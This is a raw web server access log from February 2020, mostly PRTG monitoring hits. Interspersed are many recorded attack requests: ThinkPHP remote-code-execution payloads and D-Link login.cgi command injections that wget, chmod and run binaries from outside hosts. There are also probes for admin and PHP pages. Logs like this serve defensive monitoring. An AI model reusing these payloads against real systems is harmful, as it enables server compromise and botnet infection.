212.91.246.72 - - [10/Feb/2020:12:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.235.93.164 - - [10/Feb/2020:12:21:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [10/Feb/2020:12:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.33.58.9 - - [10/Feb/2020:12:26:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.98.200 - - [10/Feb/2020:12:29:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.106.193.63 - - [10/Feb/2020:12:33:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:12:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.239.19.112 - - [10/Feb/2020:12:39:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.130.21.230 - - [10/Feb/2020:12:39:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.163.131.89 - - [10/Feb/2020:12:39:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.112.166.2 - - [10/Feb/2020:12:39:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.177.153.12 - - [10/Feb/2020:12:40:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.178.102.98 - - [10/Feb/2020:12:45:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
210.7.24.14 - - [10/Feb/2020:12:45:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
100.8.95.231 - - [10/Feb/2020:12:46:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:12:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.220.252 - - [10/Feb/2020:12:50:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.60.118 - - [10/Feb/2020:12:51:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.31 - - [10/Feb/2020:12:51:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.95.78.253 - - [10/Feb/2020:12:52:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [10/Feb/2020:12:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.235 - - [10/Feb/2020:12:55:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
76.203.172.208 - - [10/Feb/2020:12:55:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:12:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:12:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.251.1.209 - - [10/Feb/2020:12:59:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:12:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
216.80.1.254 - - [10/Feb/2020:13:00:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:13:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.197.105 - - [10/Feb/2020:13:01:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.113.197.251 - - [10/Feb/2020:13:02:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [10/Feb/2020:13:02:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [10/Feb/2020:13:02:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [10/Feb/2020:13:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [10/Feb/2020:13:02:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [10/Feb/2020:13:03:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
190.0.45.162 - - [10/Feb/2020:13:03:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.25.104.20 - - [10/Feb/2020:13:03:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
95.59.212.89 - - [10/Feb/2020:13:04:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:13:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [10/Feb/2020:13:09:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [10/Feb/2020:13:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.252.45.17 - - [10/Feb/2020:13:11:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
14.252.45.17 - - [10/Feb/2020:13:11:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
14.252.45.17 - - [10/Feb/2020:13:11:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:13:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.38.234.102 - - [10/Feb/2020:13:16:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:13:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.56.78.64 - - [10/Feb/2020:13:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:13:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.90.103 - - [10/Feb/2020:13:18:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:13:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.18.199.221 - - [10/Feb/2020:13:19:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:13:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.60.16 - - [10/Feb/2020:13:20:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:13:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.43.143 - - [10/Feb/2020:13:20:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:13:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.134 - - [10/Feb/2020:13:22:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [10/Feb/2020:13:22:38 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:13:22:47 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:13:22:47 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:13:22:49 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:13:22:57 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:13:22:58 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:13:23:02 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:13:23:05 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.230 - - [10/Feb/2020:13:23:10 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [10/Feb/2020:13:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [10/Feb/2020:13:23:55 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [10/Feb/2020:13:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.104.236.246 - - [10/Feb/2020:13:25:12 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "python-requests/2.22.0"
212.91.246.72 - - [10/Feb/2020:13:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:13:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.104.236.246 - - [10/Feb/2020:13:28:12 +0100] "GET /public/simpleboot/css/simplebootadmin.css HTTP/1.1" 404 361 "-" "python-requests/2.22.0"
39.104.236.246 - - [10/Feb/2020:13:28:12 +0100] "GET /js/tc.js HTTP/1.1" 404 328 "-" "python-requests/2.22.0"
139.217.134.138 - - [10/Feb/2020:13:28:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
139.217.134.138 - - [10/Feb/2020:13:28:19 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
139.217.134.138 - - [10/Feb/2020:13:28:19 +0100] "POST /Admin51f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [10/Feb/2020:13:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
139.217.134.138 - - [10/Feb/2020:13:28:43 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
139.217.134.138 - - [10/Feb/2020:13:28:43 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
139.217.134.138 - - [10/Feb/2020:13:28:44 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
139.217.134.138 - - [10/Feb/2020:13:28:44 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:29:07 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:29:31 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:29:55 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
139.217.134.138 - - [10/Feb/2020:13:30:19 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:13:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.217.134.138 - - [10/Feb/2020:13:30:43 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
178.88.80.171 - - [10/Feb/2020:13:31:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.217.134.138 - - [10/Feb/2020:13:31:07 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
